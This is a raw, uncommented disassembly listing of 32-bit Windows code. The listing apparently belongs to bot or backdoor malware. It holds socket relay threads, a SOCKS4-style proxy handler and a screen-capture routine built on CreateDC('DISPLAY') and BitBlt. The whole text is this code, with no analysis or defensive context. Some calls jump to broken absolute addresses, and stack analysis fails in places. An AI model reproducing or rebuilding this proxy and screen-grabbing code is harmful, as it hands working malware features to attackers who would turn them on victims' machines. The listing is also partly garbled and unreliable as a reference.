		call	dword_43F6A8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43C848[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA2
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_43D7E8
		push	esi
		nop
		call	near ptr 26D0000h
		push	80000400h
		push	esi
		nop
		call	near ptr 26C0C05h
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172AE
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_43C84C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A


loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5A
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_407AE5


loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------


loc_407AE5:				; CODE XREF: sub_40797F+159j
		call	near ptr 2640A83h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B


loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43C848[eax*8]
		push	eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172AE
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_43C84C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA2
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_43D7E8
		nop
		call	near ptr 26D0000h


loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_43C84C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DDo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4450CC[eax], ebx
		call	dword_43F584
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F694
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43F690
		test	eax, eax
		jnz	loc_407D42


loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43F6FC
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172AE
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		call	near ptr 2670CCFh
		nop
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407D2D


loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------


loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------


loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]


loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43F700
		push	ebx
		call	dword_43F700
		push	[ebp+var_3C]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed



loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43F6E8
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43F668
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6EC
		jmp	short loc_407E04
; ---------------------------------------------------------------------------


loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43F620


loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5A
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4450CC[ebx]
		mov	dword_4450C4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_4450D0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407F09


loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		nop
		call	near ptr 260086Bh
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------


loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h


loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------


loc_407F09:				; CODE XREF: ___:00407EB4j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4450CC[eax]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	dword_43F700
		push	dword ptr [ebp-4]
		call	sub_417076
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
		pop	ebx


loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_4450D0[esi]
		call	dword_43F680
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4450CC[esi]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84


loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_4450D0[esi]
		call	dword_43F700
		push	dword ptr [ebp-14h]
		call	sub_417076
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dw 7BE8h
		dd 90021E89h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E4Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43F6E8
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43F694
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43F690
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F6FC
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_40816C


loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		call	near ptr 260086Bh
		nop
		jmp	short loc_408159
; ---------------------------------------------------------------------------


loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		call	near ptr 2640A83h
		nop
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------


loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43F700
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
		pop	ebx


loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4450CC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43F5FC
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43F5FC
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F700
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h


loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1


loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43F560
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE


loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F560
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9


loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45AFp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43F654
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43F670
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43F670
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43F670
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43F670
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------


loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx


loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43F6B4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43F6AC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43F544
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
